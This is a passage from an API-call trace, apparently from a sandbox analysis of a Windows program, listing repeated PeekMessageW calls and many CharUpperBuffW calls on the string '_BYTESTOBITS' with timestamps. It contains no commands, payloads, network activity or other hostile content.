wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.564] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.565] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.568] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.570] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.575] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.576] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.577] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.577] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.578] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.579] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.581] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.582] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.582] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.586] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.589] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.590] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.590] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.591] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.591] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.592] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.592] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.593] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.593] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.593] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.594] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.595] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.595] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.597] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.597] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.598] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.598] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.616] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.617] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.618] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.620] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.621] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.622] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.623] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.624] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.625] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.626] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.627] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.628] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.631] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.632] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.633] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.635] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.636] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.637] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.638] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.639] CharUpperBuffW (in: 